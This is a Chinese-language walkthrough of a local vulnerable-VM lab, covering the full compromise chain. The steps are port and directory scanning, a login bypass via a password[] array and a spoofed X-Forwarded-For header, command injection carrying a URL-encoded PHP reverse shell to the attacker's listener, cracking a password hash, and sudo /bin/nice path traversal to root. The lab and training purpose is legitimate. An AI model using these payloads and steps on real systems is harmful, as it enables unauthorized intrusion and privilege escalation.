声明
好好学习,天天向上
搭建
virtualbox打开,网络和攻击机一样,要么都用桥接要么都用NAT
渗透
存活扫描,发现目标
arp-scan -l
端口扫描
nmap -T4 -A 192.168.31.66 -p 1-65535 -oN nmap.A
开启端口
发现开启80,22,2122
访问80
http://192.168.31.66
扫描目录
python3 dirsearch.py -u 192.168.31.66
挨个试一试,发现
/admin需要密码
/admin/logs下有一些日志
/index.php/login下啥都木有
访问ftp端口
ftp://192.168.31.66:2112/
发现文件
查看index源码备份文件
来一波源码审计
是要和用户名密码做比较,用户名字段和admin比较,密码和pass变量也就是potato比较,不一样就认证失败
Go to the dashboard";setCOOKIE('pass', $pass, time() + 365*24*3600);}else{echo "Bad login/password! Return to the login page
";}exit();
}
?>
Login
然而我竟然登不进去,当我使用网上大神post的password[]=&username=admin后,再加上x-forwarded-for后,可以了,不过我是真想知道从这段代码里面是怎么看出来,提交一个password数组的
POST /admin/index.php?login=1 HTTP/1.1
Host: 192.168.31.66
x-forwarded-for: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.66/admin/index.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32password[]=&username=admin
成功
在log处发现命令注入
http://192.168.31.66/admin/dashboard.php?page=log
file=log_01.txt;id
kali监听6666
nc -lvvp 6666
访问,自行修改IP和端口
http://192.168.31.66/admin/dashboard.php?page=log
file=|php%20-r%20'%24sock%3Dfsockopen(%22192.168.31.64%22%2C6666)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
反弹成功
在 /etc/passwd 获取到用户 webadmin 的密码
$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
进入在线解密网站,解密后密码是dragon
https://www.somd5.com/
su到webadmin用户
sudo -l提权
ssh先连到webadmin用户
ssh webadmin@192.168.31.66
sudo -l
可以看到以 root 权限执行,大概意思就是可以通过sudo提到root,然后使用/bin/nice执行id命令
ls -al /notes
sudo -u root /bin/nice /notes/id.sh
构造上述结构进行提权,创建shell.sh内容如下
/bin/bash
执行命令
chmod 777 shell.sh
sudo -u root /bin/nice /notes/../home/webadmin//shell.sh
这样我们就以root身份执行了shell.sh里面的内容,而里面的内容是让我们进入/bin/bash也就是root的命令行
总结
1.信息收集
发现端口22,80,2112
2112ftp发现了index备份文件,代码审计,发现可提交参数
80扫描目录发现可登录页面
2.web权限
通过发送执行参数,成功登录web
3.shell权限
通过命令执行,反弹shell
4.权限维持
在/etc/passwd下发现webadmin用户密码,md5在线解密后,成功ssh登录,拿到flag
5.提权
sudo-l发现可以通过执行指定文件进行提权,拿到flag